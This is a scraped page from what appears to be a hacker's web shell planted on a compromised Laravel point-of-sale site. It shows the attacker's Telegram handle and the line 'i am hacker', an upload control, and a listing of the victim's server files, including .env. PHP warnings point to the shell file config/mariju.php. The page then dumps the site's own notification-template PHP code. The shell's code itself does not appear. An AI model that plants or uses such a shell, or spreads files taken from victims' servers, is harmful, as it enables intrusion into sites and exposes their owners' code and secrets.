telegram : @iamdarkcomedy i am hacker
path :/home/bisorgosof24/public_html/Backup23122024
upload file:
List of files:
name file |
size |
edit |
permission |
action |
.env | 2733 KB | December 22 2024 06:20:07 | 0644 |
|
404.html | 58370 KB | November 20 2024 15:32:22 | 0644 |
|
502.html | 58368 KB | November 20 2024 15:32:22 | 0644 |
|
Modules | - | December 11 2024 21:02:56 | 0755 |
|
README.md | 4158 KB | February 14 2023 12:31:56 | 0644 |
|
app | - | December 11 2024 17:57:48 | 0755 |
|
artisan | 1686 KB | February 14 2023 12:31:56 | 0644 |
|
bootstrap | - | December 11 2024 20:23:36 | 0755 |
|
composer.json | 3761 KB | December 11 2024 22:15:00 | 0644 |
|
composer.lock | 512048 KB | December 11 2024 22:13:28 | 0644 |
|
config | - | June 15 2025 02:09:36 | 0755 |
|
database | - | December 05 2024 20:18:12 | 0755 |
|
dfsdf dfds fd fds findex.html | 1420 KB | November 20 2024 15:32:24 | 0644 |
|
error_log | 9940562 KB | July 18 2025 07:22:48 | 0644 |
|
firoz | - | December 23 2024 13:24:46 | 0755 |
|
index.php | 1667 KB | December 14 2024 05:20:36 | 0644 |
|
lang | - | December 11 2024 21:02:48 | 0755 |
|
modules_statuses.json | 472 KB | November 20 2024 15:32:24 | 0644 |
|
mpos | - | March 31 2025 02:36:31 | 0755 |
|
package.json | 226 KB | February 14 2023 12:31:56 | 0644 |
|
phpunit.xml | 1146 KB | February 14 2023 12:31:56 | 0644 |
|
public | - | March 31 2025 02:36:31 | 0755 |
|
resources | - | December 11 2024 21:10:22 | 0755 |
|
routes | - | June 15 2025 02:09:31 | 0755 |
|
storage | - | December 11 2024 21:12:44 | 0755 |
|
tests | - | December 05 2024 20:18:12 | 0755 |
|
vendor | - | December 11 2024 22:13:30 | 0755 |
|
vite.config.js | 263 KB | February 14 2023 12:31:56 | 0644 |
|
Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227
Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228
Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229
Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
where('template_for', $template_for)
->first();
$template = [
'subject' => ! empty($notif_template->subject) ? $notif_template->subject : '',
'sms_body' => ! empty($notif_template->sms_body) ? $notif_template->sms_body : '',
'whatsapp_text' => ! empty($notif_template->whatsapp_text) ? $notif_template->whatsapp_text : '',
'email_body' => ! empty($notif_template->email_body) ? $notif_template->email_body
: '',
'template_for' => $template_for,
'cc' => ! empty($notif_template->cc) ? $notif_template->cc : '',
'bcc' => ! empty($notif_template->bcc) ? $notif_template->bcc : '',
'auto_send' => ! empty($notif_template->auto_send) ? 1 : 0,
'auto_send_sms' => ! empty($notif_template->auto_send_sms) ? 1 : 0,
'auto_send_wa_notif' => ! empty($notif_template->auto_send_wa_notif)
? 1 : 0,
];
return $template;
}
public static function customerNotifications()
{
return [
'new_sale' => [
'name' => __('lang_v1.new_sale'),
'extra_tags' => [
['{business_name}', '{business_logo}'],
['{invoice_number}', '{invoice_url}', '{total_amount}', '{paid_amount}', '{due_amount}', '{cumulative_due_amount}', '{due_date}'],
['{location_name}', '{location_address}', '{location_email}', '{location_phone}', '{location_custom_field_1}', '{location_custom_field_2}', '{location_custom_field_3}', '{location_custom_field_4}'],
['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'],
['{sell_custom_field_1}', '{sell_custom_field_2}', '{sell_custom_field_3}', '{sell_custom_field_4}'],
['{shipping_custom_field_1}', '{shipping_custom_field_2}', '{shipping_custom_field_3}', '{shipping_custom_field_4}', '{shipping_custom_field_5}'],
],
],
'payment_received' => [
'name' => __('lang_v1.payment_received'),
'extra_tags' => [
['{business_name}', '{business_logo}'],
['{invoice_number}', '{payment_ref_number}', '{received_amount}'],
['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'],
],
],
'payment_reminder' => [
'name' => __('lang_v1.payment_reminder'),
'extra_tags' => [
['{business_name}', '{business_logo}'],
['{invoice_number}', '{due_amount}', '{cumulative_due_amount}', '{due_date}'],
['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'],
],
],
'new_booking' => [
'name' => __('lang_v1.new_booking'),
'extra_tags' => self::bookingNotificationTags(),
],
'new_quotation' => [
'name' => __('lang_v1.new_quotation'),
'extra_tags' => [
['{business_name}', '{business_logo}'],
['{invoice_number}', '{total_amount}', '{quote_url}'],
['{location_name}', '{location_address}', '{location_email}', '{location_phone}', '{location_custom_field_1}', '{location_custom_field_2}', '{location_custom_field_3}', '{location_custom_field_4}'],
['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'],
],
],
];
}
public static function generalNotifications()
{
return [
'send_ledger' => [
'name' => __('lang_v1.send_ledger'),
'extra_tags' => [
['{business_name}', '{business_logo}'],
['{balance_due}'],
['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'],
],
],
];
}
public static function supplierNotifications()
{
return [
'new_order' => [
'name' => __('lang_v1.new_order'),
'extra_tags' => [
['{business_name}', '{business_logo}'],
['{order_ref_number}', '{total_amount}', '{received_amount}', '{due_amount}'],
['{location_name}', '{location_address}', '{location_email}', '{location_phone}', '{location_custom_field_1}', '{location_custom_field_2}', '{location_custom_field_3}', '{location_custom_field_4}'],
['{purchase_custom_field_1}', '{purchase_custom_field_2}', '{purchase_custom_field_3}', '{purchase_custom_field_4}', '{contact_business_name}'],
['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'],
['{shipping_custom_field_1}', '{shipping_custom_field_2}', '{shipping_custom_field_3}', '{shipping_custom_field_4}', '{shipping_custom_field_5}'],
],
],
'payment_paid' => [
'name' => __('lang_v1.payment_paid'),
'extra_tags' => [
['{business_name}', '{business_logo}'],
['{order_ref_number}', '{payment_ref_number}', '{paid_amount}'],
['{contact_name}', '{contact_business_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'],
],
],
'items_received' => [
'name' => __('lang_v1.items_received'),
'extra_tags' => [
['{business_name}', '{business_logo}'],
['{order_ref_number}'],
['{contact_business_name}', '{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'],
],
],
'items_pending' => [
'name' => __('lang_v1.items_pending'),
'extra_tags' => [
['{business_name}', '{business_logo}'],
['{order_ref_number}'],
['{contact_business_name}', '{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'],
],
],
'purchase_order' => [
'name' => __('lang_v1.purchase_order'),
'extra_tags' => [
['{business_name}', '{business_logo}'],
['{order_ref_number}'],
['{contact_business_name}', '{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'],
],
],
];
}
public static function notificationTags()
{
return ['{contact_name}', '{invoice_number}', '{total_amount}',
'{paid_amount}', '{due_amount}', '{business_name}', '{business_logo}', '{cumulative_due_amount}', '{due_date}', '{contact_business_name}', ];
}
public static function bookingNotificationTags()
{
return [
['{business_name}', '{business_logo}'],
['{table}', '{start_time}', '{end_time}', '{service_staff}', '{correspondent}'],
['{location}', '{location_name}', '{location_address}', '{location_email}', '{location_phone}', '{location_custom_field_1}', '{location_custom_field_2}', '{location_custom_field_3}', '{location_custom_field_4}'],
['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'],
];
}
public static function defaultNotificationTemplates($business_id = null)
{
$notification_template_data = [
[
'business_id' => $business_id,
'template_for' => 'new_sale',
'email_body' => 'Dear {contact_name},
Your invoice number is {invoice_number}
Total amount: {total_amount}
Paid amount: {received_amount}
Thank you for shopping with us.
{business_logo}
',
'sms_body' => 'Dear {contact_name}, Thank you for shopping with us. {business_name}',
'subject' => 'Thank you from {business_name}',
'auto_send' => '0',
],
[
'business_id' => $business_id,
'template_for' => 'payment_received',
'email_body' => 'Dear {contact_name},
We have received a payment of {received_amount}
{business_logo}
',
'sms_body' => 'Dear {contact_name}, We have received a payment of {received_amount}. {business_name}',
'subject' => 'Payment Received, from {business_name}',
'auto_send' => '0',
],
[
'business_id' => $business_id,
'template_for' => 'payment_reminder',
'email_body' => 'Dear {contact_name},
This is to remind you that you have pending payment of {due_amount}. Kindly pay it as soon as possible.
{business_logo}
',
'sms_body' => 'Dear {contact_name}, You have pending payment of {due_amount}. Kindly pay it as soon as possible. {business_name}',
'subject' => 'Payment Reminder, from {business_name}',
'auto_send' => '0',
],
[
'business_id' => $business_id,
'template_for' => 'new_booking',
'email_body' => 'Dear {contact_name},
Your booking is confirmed
Date: {start_time} to {end_time}
Table: {table}
Location: {location}
{business_logo}
',
'sms_body' => 'Dear {contact_name}, Your booking is confirmed. Date: {start_time} to {end_time}, Table: {table}, Location: {location}', 'subject' => 'Booking Confirmed - {business_name}',
'auto_send' => '0',
],
[
'business_id' => $business_id,
'template_for' => 'new_order',
'email_body' => 'Dear {contact_name},
We have a new order with reference number {order_ref_number}. Kindly process the products as soon as possible.
{business_name}
{business_logo}
',
'sms_body' => 'Dear {contact_name}, We have a new order with reference number {order_ref_number}. Kindly process the products as soon as possible. {business_name}',
'subject' => 'New Order, from {business_name}',
'auto_send' => '0',
],
[
'business_id' => $business_id,
'template_for' => 'payment_paid',
'email_body' => 'Dear {contact_name},
We have paid amount {paid_amount} again invoice number {order_ref_number}.
Kindly note it down.
{business_name}
{business_logo}
',
'sms_body' => 'We have paid amount {paid_amount} again invoice number {order_ref_number}.
Kindly note it down. {business_name}',
'subject' => 'Payment Paid, from {business_name}',
'auto_send' => '0',
],
[
'business_id' => $business_id,
'template_for' => 'items_received',
'email_body' => 'Dear {contact_name},
We have received all items from invoice reference number {order_ref_number}. Thank you for processing it.
{business_name}
{business_logo}
',
'sms_body' => 'We have received all items from invoice reference number {order_ref_number}. Thank you for processing it. {business_name}',
'subject' => 'Items received, from {business_name}',
'auto_send' => '0',
],
[
'business_id' => $business_id,
'template_for' => 'items_pending',
'email_body' => 'Dear {contact_name},
This is to remind you that we have not yet received some items from invoice reference number {order_ref_number}. Please process it as soon as possible.
{business_name}
{business_logo}
',
'sms_body' => 'This is to remind you that we have not yet received some items from invoice reference number {order_ref_number} . Please process it as soon as possible.{business_name}',
'subject' => 'Items Pending, from {business_name}',
'auto_send' => '0',
],
[
'business_id' => $business_id,
'template_for' => 'new_quotation',
'email_body' => 'Dear {contact_name},
Your quotation number is {invoice_number}
Total amount: {total_amount}
Thank you for shopping with us.
{business_logo}
',
'sms_body' => 'Dear {contact_name}, Thank you for shopping with us. {business_name}',
'subject' => 'Thank you from {business_name}',
'auto_send' => '0',
],
[
'business_id' => $business_id,
'template_for' => 'purchase_order',
'email_body' => 'Dear {contact_name},
We have a new purchase order with reference number {order_ref_number}. The respective invoice is attached here with.
{business_logo}
',
'sms_body' => 'We have a new purchase order with reference number {order_ref_number}. {business_name}',
'subject' => 'New Purchase Order, from {business_name}',
'auto_send' => '0',
],
];
return $notification_template_data;
}
}